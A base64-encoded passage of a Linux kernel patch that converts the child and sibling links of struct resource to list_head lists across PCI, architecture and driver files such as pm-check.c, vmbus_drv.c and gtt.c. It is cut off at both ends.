cGxhdC1zYW1zdW5nL3BtLWNoZWNrLmMgICAgICAgICAgICB8ICAgNiArLQogYXJjaC9pYTY0L3Nu
L2tlcm5lbC9pb19pbml0LmMgICAgICAgICAgICAgICB8ICAgMiArLQogYXJjaC9taWNyb2JsYXpl
L3BjaS9wY2ktY29tbW9uLmMgICAgICAgICAgICB8ICAgNCArLQogYXJjaC9taXBzL3BjaS9wY2kt
cmMzMjQzNC5jICAgICAgICAgICAgICAgICB8ICAxMiArLQogYXJjaC9wb3dlcnBjL2tlcm5lbC9w
Y2ktY29tbW9uLmMgICAgICAgICAgICB8ICAgNCArLQogYXJjaC9zcGFyYy9rZXJuZWwvaW9wb3J0
LmMgICAgICAgICAgICAgICAgICB8ICAgMiArLQogYXJjaC94dGVuc2EvaW5jbHVkZS9hc20vcGNp
LWJyaWRnZS5oICAgICAgICB8ICAgNCArLQogZHJpdmVycy9laXNhL2Vpc2EtYnVzLmMgICAgICAg
ICAgICAgICAgICAgICB8ICAgMiArCiBkcml2ZXJzL2dwdS9kcm0vZHJtX21lbW9yeS5jICAgICAg
ICAgICAgICAgIHwgICAzICstCiBkcml2ZXJzL2dwdS9kcm0vZ21hNTAwL2d0dC5jICAgICAgICAg
ICAgICAgIHwgICA1ICstCiBkcml2ZXJzL2h2L3ZtYnVzX2Rydi5jICAgICAgICAgICAgICAgICAg
ICAgIHwgIDUyICsrKy0tLS0KIGRyaXZlcnMvaW5wdXQvam95c3RpY2svaWZvcmNlL2lmb3JjZS1t
YWluLmMgfCAgIDQgKy0KIGRyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZzLmMgICAgICAgICAg
ICAgfCAgIDYgKy0KIGRyaXZlcnMvbnZkaW1tL25kLmggICAgICAgICAgICAgICAgICAgICAgICAg
fCAgIDUgKy0KIGRyaXZlcnMvb2YvYWRkcmVzcy5jICAgICAgICAgICAgICAgICAgICAgICAgfCAg
IDQgKy0KIGRyaXZlcnMvcGFyaXNjL2xiYV9wY2kuYyAgICAgICAgICAgICAgICAgICAgfCAgIDQg
Ky0KIGRyaXZlcnMvcGNpL2NvbnRyb2xsZXIvdm1kLmMgICAgICAgICAgICAgICAgfCAgIDggKy0K
IGRyaXZlcnMvcGNpL3Byb2JlLmMgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIDIgKwogZHJp
dmVycy9wY2kvc2V0dXAtYnVzLmMgICAgICAgICAgICAgICAgICAgICB8ICAgMiArLQogaW5jbHVk
ZS9saW51eC9pb3BvcnQuaCAgICAgICAgICAgICAgICAgICAgICB8ICAxNyArKy0KIGtlcm5lbC9y
ZXNvdXJjZS5jICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAyMDYgKysrKysrKysrKysrKyst
LS0tLS0tLS0tLS0tLQogMjEgZmlsZXMgY2hhbmdlZCwgMTgzIGluc2VydGlvbnMoKyksIDE3MSBk
ZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS9hcmNoL2FybS9wbGF0LXNhbXN1bmcvcG0tY2hlY2su
YyBiL2FyY2gvYXJtL3BsYXQtc2Ftc3VuZy9wbS1jaGVjay5jCmluZGV4IGNkMmMwMmM2OGJjMy4u
NTQ5NDM1NWIxYzQ5IDEwMDY0NAotLS0gYS9hcmNoL2FybS9wbGF0LXNhbXN1bmcvcG0tY2hlY2su
YworKysgYi9hcmNoL2FybS9wbGF0LXNhbXN1bmcvcG0tY2hlY2suYwpAQCAtNDYsOCArNDYsOCBA
QCB0eXBlZGVmIHUzMiAqKHJ1bl9mbl90KShzdHJ1Y3QgcmVzb3VyY2UgKnB0ciwgdTMyICphcmcp
Owogc3RhdGljIHZvaWQgczNjX3BtX3J1bl9yZXMoc3RydWN0IHJlc291cmNlICpwdHIsIHJ1bl9m
bl90IGZuLCB1MzIgKmFyZykKIHsKIAl3aGlsZSAocHRyICE9IE5VTEwpIHsKLQkJaWYgKHB0ci0+
Y2hpbGQgIT0gTlVMTCkKLQkJCXMzY19wbV9ydW5fcmVzKHB0ci0+Y2hpbGQsIGZuLCBhcmcpOwor
CQlpZiAoIWxpc3RfZW1wdHkoJnB0ci0+Y2hpbGQpKQorCQkJczNjX3BtX3J1bl9yZXMocmVzb3Vy
Y2VfZmlyc3RfY2hpbGQoJnB0ci0+Y2hpbGQpLCBmbiwgYXJnKTsKIAogCQlpZiAoKHB0ci0+Zmxh
Z3MgJiBJT1JFU09VUkNFX1NZU1RFTV9SQU0pCiAJCQkJPT0gSU9SRVNPVVJDRV9TWVNURU1fUkFN
KSB7CkBAIC01Nyw3ICs1Nyw3IEBAIHN0YXRpYyB2b2lkIHMzY19wbV9ydW5fcmVzKHN0cnVjdCBy
ZXNvdXJjZSAqcHRyLCBydW5fZm5fdCBmbiwgdTMyICphcmcpCiAJCQlhcmcgPSAoZm4pKHB0ciwg
YXJnKTsKIAkJfQogCi0JCXB0ciA9IHB0ci0+c2libGluZzsKKwkJcHRyID0gcmVzb3VyY2Vfc2li
bGluZyhwdHIpOwogCX0KIH0KIApkaWZmIC0tZ2l0IGEvYXJjaC9pYTY0L3NuL2tlcm5lbC9pb19p
bml0LmMgYi9hcmNoL2lhNjQvc24va2VybmVsL2lvX2luaXQuYwppbmRleCBkNjM4MDlhNmFkZmEu
LjMzOGE3YjdmMTk0ZCAxMDA2NDQKLS0tIGEvYXJjaC9pYTY0L3NuL2tlcm5lbC9pb19pbml0LmMK
KysrIGIvYXJjaC9pYTY0L3NuL2tlcm5lbC9pb19pbml0LmMKQEAgLTE5Miw3ICsxOTIsNyBAQCBz
bl9pb19zbG90X2ZpeHVwKHN0cnVjdCBwY2lfZGV2ICpkZXYpCiAJCSAqIGlmIGl0J3MgYWxyZWFk
eSBpbiB0aGUgZGV2aWNlIHN0cnVjdHVyZSwgcmVtb3ZlIGl0IGJlZm9yZQogCQkgKiBpbnNlcnRp
bmcKIAkJICovCi0JCWlmIChyZXMtPnBhcmVudCAmJiByZXMtPnBhcmVudC0+Y2hpbGQpCisJCWlm
IChyZXMtPnBhcmVudCAmJiAhbGlzdF9lbXB0eSgmcmVzLT5wYXJlbnQtPmNoaWxkKSkKIAkJCXJl
bGVhc2VfcmVzb3VyY2UocmVzKTsKIAogCQlpZiAocmVzLT5mbGFncyAmIElPUkVTT1VSQ0VfSU8p
CmRpZmYgLS1naXQgYS9hcmNoL21pY3JvYmxhemUvcGNpL3BjaS1jb21tb24uYyBiL2FyY2gvbWlj
cm9ibGF6ZS9wY2kvcGNpLWNvbW1vbi5jCmluZGV4IDc4OTliYWZhYjA2NC4uMmJmNzNlMjdlMjMx
IDEwMDY0NAotLS0gYS9hcmNoL21pY3JvYmxhemUvcGNpL3BjaS1jb21tb24uYworKysgYi9hcmNo
L21pY3JvYmxhemUvcGNpL3BjaS1jb21tb24uYwpAQCAtNTMzLDcgKzUzMyw5IEBAIHZvaWQgcGNp
X3Byb2Nlc3NfYnJpZGdlX09GX3JhbmdlcyhzdHJ1Y3QgcGNpX2NvbnRyb2xsZXIgKmhvc2UsCiAJ
CQlyZXMtPmZsYWdzID0gcmFuZ2UuZmxhZ3M7CiAJCQlyZXMtPnN0YXJ0ID0gcmFuZ2UuY3B1X2Fk
ZHI7CiAJCQlyZXMtPmVuZCA9IHJhbmdlLmNwdV9hZGRyICsgcmFuZ2Uuc2l6ZSAtIDE7Ci0JCQly
ZXMtPnBhcmVudCA9IHJlcy0+Y2hpbGQgPSByZXMtPnNpYmxpbmcgPSBOVUxMOworCQkJcmVzLT5w
YXJlbnQgPSBOVUxMOworCQkJSU5JVF9MSVNUX0hFQUQoJnJlcy0+Y2hpbGQpOworCQkJSU5JVF9M
SVNUX0hFQUQoJnJlcy0+c2libGluZyk7CiAJCX0KIAl9CiAKZGlmZiAtLWdpdCBhL2FyY2gvbWlw
cy9wY2kvcGNpLXJjMzI0MzQuYyBiL2FyY2gvbWlwcy9wY2kvcGNpLXJjMzI0MzQuYwppbmRleCA3
ZjZjZTZkNzM0YzAuLmU4MDI4M2RmNzkyNSAxMDA2NDQKLS0tIGEvYXJjaC9taXBzL3BjaS9wY2kt
cmMzMjQzNC5jCisrKyBiL2FyY2gvbWlwcy9wY2kvcGNpLXJjMzI0MzQuYwpAQCAtNTMsOCArNTMs
OCBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlIHJjMzI0MzRfcmVzX3BjaV9tZW0xID0gewogCS5z
dGFydCA9IDB4NTAwMDAwMDAsCiAJLmVuZCA9IDB4NUZGRkZGRkYsCiAJLmZsYWdzID0gSU9SRVNP
VVJDRV9NRU0sCi0JLnNpYmxpbmcgPSBOVUxMLAotCS5jaGlsZCA9ICZyYzMyNDM0X3Jlc19wY2lf
bWVtMgorCS5zaWJsaW5nID0gTElTVF9IRUFEX0lOSVQocmMzMjQzNF9yZXNfcGNpX21lbTEuc2li
bGluZyksCisJLmNoaWxkID0gTElTVF9IRUFEX0lOSVQocmMzMjQzNF9yZXNfcGNpX21lbTEuY2hp
bGQpLAogfTsKIAogc3RhdGljIHN0cnVjdCByZXNvdXJjZSByYzMyNDM0X3Jlc19wY2lfbWVtMiA9
IHsKQEAgLTYzLDggKzYzLDggQEAgc3RhdGljIHN0cnVjdCByZXNvdXJjZSByYzMyNDM0X3Jlc19w
Y2lfbWVtMiA9IHsKIAkuZW5kID0gMHg2RkZGRkZGRiwKIAkuZmxhZ3MgPSBJT1JFU09VUkNFX01F
TSwKIAkucGFyZW50ID0gJnJjMzI0MzRfcmVzX3BjaV9tZW0xLAotCS5zaWJsaW5nID0gTlVMTCwK
LQkuY2hpbGQgPSBOVUxMCisJLnNpYmxpbmcgPSBMSVNUX0hFQURfSU5JVChyYzMyNDM0X3Jlc19w
Y2lfbWVtMi5zaWJsaW5nKSwKKwkuY2hpbGQgPSBMSVNUX0hFQURfSU5JVChyYzMyNDM0X3Jlc19w
Y2lfbWVtMi5jaGlsZCksCiB9OwogCiBzdGF0aWMgc3RydWN0IHJlc291cmNlIHJjMzI0MzRfcmVz
X3BjaV9pbzEgPSB7CkBAIC03Miw2ICs3Miw4IEBAIHN0YXRpYyBzdHJ1Y3QgcmVzb3VyY2UgcmMz
MjQzNF9yZXNfcGNpX2lvMSA9IHsKIAkuc3RhcnQgPSAweDE4ODAwMDAwLAogCS5lbmQgPSAweDE4
OEZGRkZGLAogCS5mbGFncyA9IElPUkVTT1VSQ0VfSU8sCisJLnNpYmxpbmcgPSBMSVNUX0hFQURf
SU5JVChyYzMyNDM0X3Jlc19wY2lfaW8xLnNpYmxpbmcpLAorCS5jaGlsZCA9IExJU1RfSEVBRF9J
TklUKHJjMzI0MzRfcmVzX3BjaV9pbzEuY2hpbGQpLAogfTsKIAogZXh0ZXJuIHN0cnVjdCBwY2lf
b3BzIHJjMzI0MzRfcGNpX29wczsKQEAgLTIwOCw2ICsyMTAsOCBAQCBzdGF0aWMgaW50IF9faW5p
dCByYzMyNDM0X3BjaV9pbml0KHZvaWQpCiAKIAlwcl9pbmZvKCJQQ0k6IEluaXRpYWxpemluZyBQ
Q0lcbiIpOwogCisJbGlzdF9hZGQoJnJjMzI0MzRfcmVzX3BjaV9tZW0yLnNpYmxpbmcsICZyYzMy
NDM0X3Jlc19wY2lfbWVtMS5jaGlsZCk7CisKIAlpb3BvcnRfcmVzb3VyY2Uuc3RhcnQgPSByYzMy
NDM0X3Jlc19wY2lfaW8xLnN0YXJ0OwogCWlvcG9ydF9yZXNvdXJjZS5lbmQgPSByYzMyNDM0X3Jl
c19wY2lfaW8xLmVuZDsKIApkaWZmIC0tZ2l0IGEvYXJjaC9wb3dlcnBjL2tlcm5lbC9wY2ktY29t
bW9uLmMgYi9hcmNoL3Bvd2VycGMva2VybmVsL3BjaS1jb21tb24uYwppbmRleCA5MjYwMzViYjM3
OGQuLjI4ZmJlODNjOWRhZiAxMDA2NDQKLS0tIGEvYXJjaC9wb3dlcnBjL2tlcm5lbC9wY2ktY29t
bW9uLmMKKysrIGIvYXJjaC9wb3dlcnBjL2tlcm5lbC9wY2ktY29tbW9uLmMKQEAgLTc2MSw3ICs3
NjEsOSBAQCB2b2lkIHBjaV9wcm9jZXNzX2JyaWRnZV9PRl9yYW5nZXMoc3RydWN0IHBjaV9jb250
cm9sbGVyICpob3NlLAogCQkJcmVzLT5mbGFncyA9IHJhbmdlLmZsYWdzOwogCQkJcmVzLT5zdGFy
dCA9IHJhbmdlLmNwdV9hZGRyOwogCQkJcmVzLT5lbmQgPSByYW5nZS5jcHVfYWRkciArIHJhbmdl
LnNpemUgLSAxOwotCQkJcmVzLT5wYXJlbnQgPSByZXMtPmNoaWxkID0gcmVzLT5zaWJsaW5nID0g
TlVMTDsKKwkJCXJlcy0+cGFyZW50ID0gTlVMTDsKKwkJCUlOSVRfTElTVF9IRUFEKCZyZXMtPmNo
aWxkKTsKKwkJCUlOSVRfTElTVF9IRUFEKCZyZXMtPnNpYmxpbmcpOwogCQl9CiAJfQogfQpkaWZm
IC0tZ2l0IGEvYXJjaC9zcGFyYy9rZXJuZWwvaW9wb3J0LmMgYi9hcmNoL3NwYXJjL2tlcm5lbC9p
b3BvcnQuYwppbmRleCBjY2E5MTM0Y2ZhN2QuLjk5ZWZlNGU5OGIxNiAxMDA2NDQKLS0tIGEvYXJj
aC9zcGFyYy9rZXJuZWwvaW9wb3J0LmMKKysrIGIvYXJjaC9zcGFyYy9rZXJuZWwvaW9wb3J0LmMK
QEAgLTY2OSw3ICs2NjksNyBAQCBzdGF0aWMgaW50IHNwYXJjX2lvX3Byb2Nfc2hvdyhzdHJ1Y3Qg
c2VxX2ZpbGUgKm0sIHZvaWQgKnYpCiAJc3RydWN0IHJlc291cmNlICpyb290ID0gbS0+cHJpdmF0
ZSwgKnI7CiAJY29uc3QgY2hhciAqbm07CiAKLQlmb3IgKHIgPSByb290LT5jaGlsZDsgciAhPSBO
VUxMOyByID0gci0+c2libGluZykgeworCWxpc3RfZm9yX2VhY2hfZW50cnkociwgJnJvb3QtPmNo
aWxkLCBzaWJsaW5nKSB7CiAJCWlmICgobm0gPSByLT5uYW1lKSA9PSBOVUxMKSBubSA9ICI/Pz8i
OwogCQlzZXFfcHJpbnRmKG0sICIlMDE2bGx4LSUwMTZsbHg6ICVzXG4iLAogCQkJCSh1bnNpZ25l
ZCBsb25nIGxvbmcpci0+c3RhcnQsCmRpZmYgLS1naXQgYS9hcmNoL3h0ZW5zYS9pbmNsdWRlL2Fz
bS9wY2ktYnJpZGdlLmggYi9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9wY2ktYnJpZGdlLmgKaW5k
ZXggMGI2OGM3NmVjMWU2Li5mNDg3YjA2ODE3ZGYgMTAwNjQ0Ci0tLSBhL2FyY2gveHRlbnNhL2lu
Y2x1ZGUvYXNtL3BjaS1icmlkZ2UuaAorKysgYi9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9wY2kt
YnJpZGdlLmgKQEAgLTcxLDggKzcxLDggQEAgc3RhdGljIGlubGluZSB2b2lkIHBjaWJpb3NfaW5p
dF9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKnJlcywKIAlyZXMtPmZsYWdzID0gZmxhZ3M7CiAJ
cmVzLT5uYW1lID0gbmFtZTsKIAlyZXMtPnBhcmVudCA9IE5VTEw7Ci0JcmVzLT5zaWJsaW5nID0g
TlVMTDsKLQlyZXMtPmNoaWxkID0gTlVMTDsKKwlJTklUX0xJU1RfSEVBRCgmcmVzLT5jaGlsZCk7
CisJSU5JVF9MSVNUX0hFQUQoJnJlcy0+c2libGluZyk7CiB9CiAKIApkaWZmIC0tZ2l0IGEvZHJp
dmVycy9laXNhL2Vpc2EtYnVzLmMgYi9kcml2ZXJzL2Vpc2EvZWlzYS1idXMuYwppbmRleCAxZTgw
NjJmNmRiZmMuLmRiYTc4Zjc1ZmQwNiAxMDA2NDQKLS0tIGEvZHJpdmVycy9laXNhL2Vpc2EtYnVz
LmMKKysrIGIvZHJpdmVycy9laXNhL2Vpc2EtYnVzLmMKQEAgLTQwOCw2ICs0MDgsOCBAQCBzdGF0
aWMgc3RydWN0IHJlc291cmNlIGVpc2Ffcm9vdF9yZXMgPSB7CiAJLnN0YXJ0ID0gMCwKIAkuZW5k
ICAgPSAweGZmZmZmZmZmLAogCS5mbGFncyA9IElPUkVTT1VSQ0VfSU8sCisJLnNpYmxpbmcgPSBM
SVNUX0hFQURfSU5JVChlaXNhX3Jvb3RfcmVzLnNpYmxpbmcpLAorCS5jaGlsZCAgPSBMSVNUX0hF
QURfSU5JVChlaXNhX3Jvb3RfcmVzLmNoaWxkKSwKIH07CiAKIHN0YXRpYyBpbnQgZWlzYV9idXNf
Y291bnQ7CmRpZmYgLS1naXQgYS9kcml2ZXJzL2dwdS9kcm0vZHJtX21lbW9yeS5jIGIvZHJpdmVy
cy9ncHUvZHJtL2RybV9tZW1vcnkuYwppbmRleCBkNjllNGZjMWVlNzcuLjMzYmFhN2ZhNWU0MSAx
MDA2NDQKLS0tIGEvZHJpdmVycy9ncHUvZHJtL2RybV9tZW1vcnkuYworKysgYi9kcml2ZXJzL2dw
dS9kcm0vZHJtX21lbW9yeS5jCkBAIC0xNTUsOSArMTU1LDggQEAgdTY0IGRybV9nZXRfbWF4X2lv
bWVtKHZvaWQpCiAJc3RydWN0IHJlc291cmNlICp0bXA7CiAJcmVzb3VyY2Vfc2l6ZV90IG1heF9p
b21lbSA9IDA7CiAKLQlmb3IgKHRtcCA9IGlvbWVtX3Jlc291cmNlLmNoaWxkOyB0bXA7IHRtcCA9
IHRtcC0+c2libGluZykgeworCWxpc3RfZm9yX2VhY2hfZW50cnkodG1wLCAmaW9tZW1fcmVzb3Vy
Y2UuY2hpbGQsIHNpYmxpbmcpCiAJCW1heF9pb21lbSA9IG1heChtYXhfaW9tZW0sICB0bXAtPmVu
ZCk7Ci0JfQogCiAJcmV0dXJuIG1heF9pb21lbTsKIH0KZGlmZiAtLWdpdCBhL2RyaXZlcnMvZ3B1
L2RybS9nbWE1MDAvZ3R0LmMgYi9kcml2ZXJzL2dwdS9kcm0vZ21hNTAwL2d0dC5jCmluZGV4IDM5
NDliMDk5MDkxNi4uYWRkZDNiYzAwOWFmIDEwMDY0NAotLS0gYS9kcml2ZXJzL2dwdS9kcm0vZ21h
NTAwL2d0dC5jCisrKyBiL2RyaXZlcnMvZ3B1L2RybS9nbWE1MDAvZ3R0LmMKQEAgLTU2NSw3ICs1
NjUsNyBAQCBpbnQgcHNiX2d0dF9pbml0KHN0cnVjdCBkcm1fZGV2aWNlICpkZXYsIGludCByZXN1
bWUpCiBpbnQgcHNiX2d0dF9yZXN0b3JlKHN0cnVjdCBkcm1fZGV2aWNlICpkZXYpCiB7CiAJc3Ry
dWN0IGRybV9wc2JfcHJpdmF0ZSAqZGV2X3ByaXYgPSBkZXYtPmRldl9wcml2YXRlOwotCXN0cnVj
dCByZXNvdXJjZSAqciA9IGRldl9wcml2LT5ndHRfbWVtLT5jaGlsZDsKKwlzdHJ1Y3QgcmVzb3Vy
Y2UgKnI7CiAJc3RydWN0IGd0dF9yYW5nZSAqcmFuZ2U7CiAJdW5zaWduZWQgaW50IHJlc3RvcmVk
ID0gMCwgdG90YWwgPSAwLCBzaXplID0gMDsKIApAQCAtNTczLDE0ICs1NzMsMTMgQEAgaW50IHBz
Yl9ndHRfcmVzdG9yZShzdHJ1Y3QgZHJtX2RldmljZSAqZGV2KQogCW11dGV4X2xvY2soJmRldl9w
cml2LT5ndHRfbXV0ZXgpOwogCXBzYl9ndHRfaW5pdChkZXYsIDEpOwogCi0Jd2hpbGUgKHIgIT0g
TlVMTCkgeworCWxpc3RfZm9yX2VhY2hfZW50cnkociwgJmRldl9wcml2LT5ndHRfbWVtLT5jaGls
ZCwgc2libGluZykgewogCQlyYW5nZSA9IGNvbnRhaW5lcl9vZihyLCBzdHJ1Y3QgZ3R0X3Jhbmdl
LCByZXNvdXJjZSk7CiAJCWlmIChyYW5nZS0+cGFnZXMpIHsKIAkJCXBzYl9ndHRfaW5zZXJ0KGRl
diwgcmFuZ2UsIDEpOwogCQkJc2l6ZSArPSByYW5nZS0+cmVzb3VyY2UuZW5kIC0gcmFuZ2UtPnJl
c291cmNlLnN0YXJ0OwogCQkJcmVzdG9yZWQrKzsKIAkJfQotCQlyID0gci0+c2libGluZzsKIAkJ
dG90YWwrKzsKIAl9CiAJbXV0ZXhfdW5sb2NrKCZkZXZfcHJpdi0+Z3R0X211dGV4KTsKZGlmZiAt
LWdpdCBhL2RyaXZlcnMvaHYvdm1idXNfZHJ2LmMgYi9kcml2ZXJzL2h2L3ZtYnVzX2Rydi5jCmlu
ZGV4IGIxMGZlMjZjNDg5MS4uZDg3ZWM1YTFiYzRjIDEwMDY0NAotLS0gYS9kcml2ZXJzL2h2L3Zt
YnVzX2Rydi5jCisrKyBiL2RyaXZlcnMvaHYvdm1idXNfZHJ2LmMKQEAgLTE0MTIsOSArMTQxMiw4
IEBAIHN0YXRpYyBhY3BpX3N0YXR1cyB2bWJ1c193YWxrX3Jlc291cmNlcyhzdHJ1Y3QgYWNwaV9y
ZXNvdXJjZSAqcmVzLCB2b2lkICpjdHgpCiB7CiAJcmVzb3VyY2Vfc2l6ZV90IHN0YXJ0ID0gMDsK
IAlyZXNvdXJjZV9zaXplX3QgZW5kID0gMDsKLQlzdHJ1Y3QgcmVzb3VyY2UgKm5ld19yZXM7CisJ
c3RydWN0IHJlc291cmNlICpuZXdfcmVzLCAqdG1wOwogCXN0cnVjdCByZXNvdXJjZSAqKm9sZF9y
ZXMgPSAmaHlwZXJ2X21taW87Ci0Jc3RydWN0IHJlc291cmNlICoqcHJldl9yZXMgPSBOVUxMOwog
CiAJc3dpdGNoIChyZXMtPnR5cGUpIHsKIApAQCAtMTQ2MSw0NCArMTQ2MCwzNiBAQCBzdGF0aWMg
YWNwaV9zdGF0dXMgdm1idXNfd2Fsa19yZXNvdXJjZXMoc3RydWN0IGFjcGlfcmVzb3VyY2UgKnJl
cywgdm9pZCAqY3R4KQogCS8qCiAJICogSWYgdHdvIHJhbmdlcyBhcmUgYWRqYWNlbnQsIG1lcmdl
IHRoZW0uCiAJICovCi0JZG8gewotCQlpZiAoISpvbGRfcmVzKSB7Ci0JCQkqb2xkX3JlcyA9IG5l
d19yZXM7Ci0JCQlicmVhazsKLQkJfQotCi0JCWlmICgoKCpvbGRfcmVzKS0+ZW5kICsgMSkgPT0g
bmV3X3Jlcy0+c3RhcnQpIHsKLQkJCSgqb2xkX3JlcyktPmVuZCA9IG5ld19yZXMtPmVuZDsKKwlp
ZiAoISpvbGRfcmVzKSB7CisJCSpvbGRfcmVzID0gbmV3X3JlczsKKwkJcmV0dXJuIEFFX09LOwor
CX0KKwl0bXAgPSAqb2xkX3JlczsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X2Zyb20odG1wLCAmdG1w
LT5wYXJlbnQtPmNoaWxkLCBzaWJsaW5nKSB7CisJCWlmICgodG1wLT5lbmQgKyAxKSA9PSBuZXdf
cmVzLT5zdGFydCkgeworCQkJdG1wLT5lbmQgPSBuZXdfcmVzLT5lbmQ7CiAJCQlrZnJlZShuZXdf
cmVzKTsKIAkJCWJyZWFrOwogCQl9CiAKLQkJaWYgKCgqb2xkX3JlcyktPnN0YXJ0ID09IG5ld19y
ZXMtPmVuZCArIDEpIHsKLQkJCSgqb2xkX3JlcyktPnN0YXJ0ID0gbmV3X3Jlcy0+c3RhcnQ7CisJ
CWlmICh0bXAtPnN0YXJ0ID09IG5ld19yZXMtPmVuZCArIDEpIHsKKwkJCXRtcC0+c3RhcnQgPSBu
ZXdfcmVzLT5zdGFydDsKIAkJCWtmcmVlKG5ld19yZXMpOwogCQkJYnJlYWs7CiAJCX0KIAotCQlp
ZiAoKCpvbGRfcmVzKS0+c3RhcnQgPiBuZXdfcmVzLT5lbmQpIHsKLQkJCW5ld19yZXMtPnNpYmxp
bmcgPSAqb2xkX3JlczsKLQkJCWlmIChwcmV2X3JlcykKLQkJCQkoKnByZXZfcmVzKS0+c2libGlu
ZyA9IG5ld19yZXM7Ci0JCQkqb2xkX3JlcyA9IG5ld19yZXM7CisJCWlmICh0bXAtPnN0YXJ0ID4g
bmV3X3Jlcy0+ZW5kKSB7CisJCQlsaXN0X2FkZCgmbmV3X3Jlcy0+c2libGluZywgdG1wLT5zaWJs
aW5nLnByZXYpOwogCQkJYnJlYWs7CiAJCX0KLQotCQlwcmV2X3JlcyA9IG9sZF9yZXM7Ci0JCW9s
ZF9yZXMgPSAmKCpvbGRfcmVzKS0+c2libGluZzsKLQotCX0gd2hpbGUgKDEpOworCX0KIAogCXJl
dHVybiBBRV9PSzsKIH0KIAogc3RhdGljIGludCB2bWJ1c19hY3BpX3JlbW92ZShzdHJ1Y3QgYWNw
aV9kZXZpY2UgKmRldmljZSkKIHsKLQlzdHJ1Y3QgcmVzb3VyY2UgKmN1cl9yZXM7Ci0Jc3RydWN0
IHJlc291cmNlICpuZXh0X3JlczsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnJlczsKIAogCWlmIChoeXBl
cnZfbW1pbykgewogCQlpZiAoZmJfbW1pbykgewpAQCAtMTUwNywxMCArMTQ5OCw5IEBAIHN0YXRp
YyBpbnQgdm1idXNfYWNwaV9yZW1vdmUoc3RydWN0IGFjcGlfZGV2aWNlICpkZXZpY2UpCiAJCQlm
Yl9tbWlvID0gTlVMTDsKIAkJfQogCi0JCWZvciAoY3VyX3JlcyA9IGh5cGVydl9tbWlvOyBjdXJf
cmVzOyBjdXJfcmVzID0gbmV4dF9yZXMpIHsKLQkJCW5leHRfcmVzID0gY3VyX3Jlcy0+c2libGlu
ZzsKLQkJCWtmcmVlKGN1cl9yZXMpOwotCQl9CisJCXJlcyA9IGh5cGVydl9tbWlvOworCQlsaXN0
X2Zvcl9lYWNoX2VudHJ5X2Zyb20ocmVzLCAmcmVzLT5wYXJlbnQtPmNoaWxkLCBzaWJsaW5nKQor
CQkJa2ZyZWUocmVzKTsKIAl9CiAKIAlyZXR1cm4gMDsKQEAgLTE1OTYsNyArMTU4Niw4IEBAIGlu
dCB2bWJ1c19hbGxvY2F0ZV9tbWlvKHN0cnVjdCByZXNvdXJjZSAqKm5ldywgc3RydWN0IGh2X2Rl
dmljZSAqZGV2aWNlX29iaiwKIAkJfQogCX0KIAotCWZvciAoaXRlciA9IGh5cGVydl9tbWlvOyBp
dGVyOyBpdGVyID0gaXRlci0+c2libGluZykgeworCWl0ZXIgPSBoeXBlcnZfbW1pbzsKKwlsaXN0
X2Zvcl9lYWNoX2VudHJ5X2Zyb20oaXRlciwgJml0ZXItPnBhcmVudC0+Y2hpbGQsIHNpYmxpbmcp
IHsKIAkJaWYgKChpdGVyLT5zdGFydCA+PSBtYXgpIHx8IChpdGVyLT5lbmQgPD0gbWluKSkKIAkJ
CWNvbnRpbnVlOwogCkBAIC0xNjM5LDcgKzE2MzAsOCBAQCB2b2lkIHZtYnVzX2ZyZWVfbW1pbyhy
ZXNvdXJjZV9zaXplX3Qgc3RhcnQsIHJlc291cmNlX3NpemVfdCBzaXplKQogCXN0cnVjdCByZXNv
dXJjZSAqaXRlcjsKIAogCWRvd24oJmh5cGVydl9tbWlvX2xvY2spOwotCWZvciAoaXRlciA9IGh5
cGVydl9tbWlvOyBpdGVyOyBpdGVyID0gaXRlci0+c2libGluZykgeworCWl0ZXIgPSBoeXBlcnZf
bW1pbzsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X2Zyb20oaXRlciwgJml0ZXItPnBhcmVudC0+Y2hp
bGQsIHNpYmxpbmcpIHsKIAkJaWYgKChpdGVyLT5zdGFydCA+PSBzdGFydCArIHNpemUpIHx8IChp
dGVyLT5lbmQgPD0gc3RhcnQpKQogCQkJY29udGludWU7CiAKZGlmZiAtLWdpdCBhL2RyaXZlcnMv
aW5wdXQvam95c3RpY2svaWZvcmNlL2lmb3JjZS1tYWluLmMgYi9kcml2ZXJzL2lucHV0L2pveXN0
aWNrL2lmb3JjZS9pZm9yY2UtbWFpbi5jCmluZGV4IGRhZWViNGM3ZTNiMC4uNWMwYmUyN2IzM2Zm
IDEwMDY0NAotLS0gYS9kcml2ZXJzL2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFpbi5j
CisrKyBiL2RyaXZlcnMvaW5wdXQvam95c3RpY2svaWZvcmNlL2lmb3JjZS1tYWluLmMKQEAgLTMw
NSw4ICszMDUsOCBAQCBpbnQgaWZvcmNlX2luaXRfZGV2aWNlKHN0cnVjdCBpZm9yY2UgKmlmb3Jj
ZSkKIAlpZm9yY2UtPmRldmljZV9tZW1vcnkuZW5kID0gMjAwOwogCWlmb3JjZS0+ZGV2aWNlX21l
bW9yeS5mbGFncyA9IElPUkVTT1VSQ0VfTUVNOwogCWlmb3JjZS0+ZGV2aWNlX21lbW9yeS5wYXJl
bnQgPSBOVUxMOwotCWlmb3JjZS0+ZGV2aWNlX21lbW9yeS5jaGlsZCA9IE5VTEw7Ci0JaWZvcmNl
LT5kZXZpY2VfbWVtb3J5LnNpYmxpbmcgPSBOVUxMOworCUlOSVRfTElTVF9IRUFEKCZpZm9yY2Ut
PmRldmljZV9tZW1vcnkuY2hpbGQpOworCUlOSVRfTElTVF9IRUFEKCZpZm9yY2UtPmRldmljZV9t
ZW1vcnkuc2libGluZyk7CiAKIC8qCiAgKiBXYWl0IHVudGlsIGRldmljZSByZWFkeSAtIHVudGls
IGl0IHNlbmRzIGl0cyBmaXJzdCByZXNwb25zZS4KZGlmZiAtLWdpdCBhL2RyaXZlcnMvbnZkaW1t
L25hbWVzcGFjZV9kZXZzLmMgYi9kcml2ZXJzL252ZGltbS9uYW1lc3BhY2VfZGV2cy5jCmluZGV4
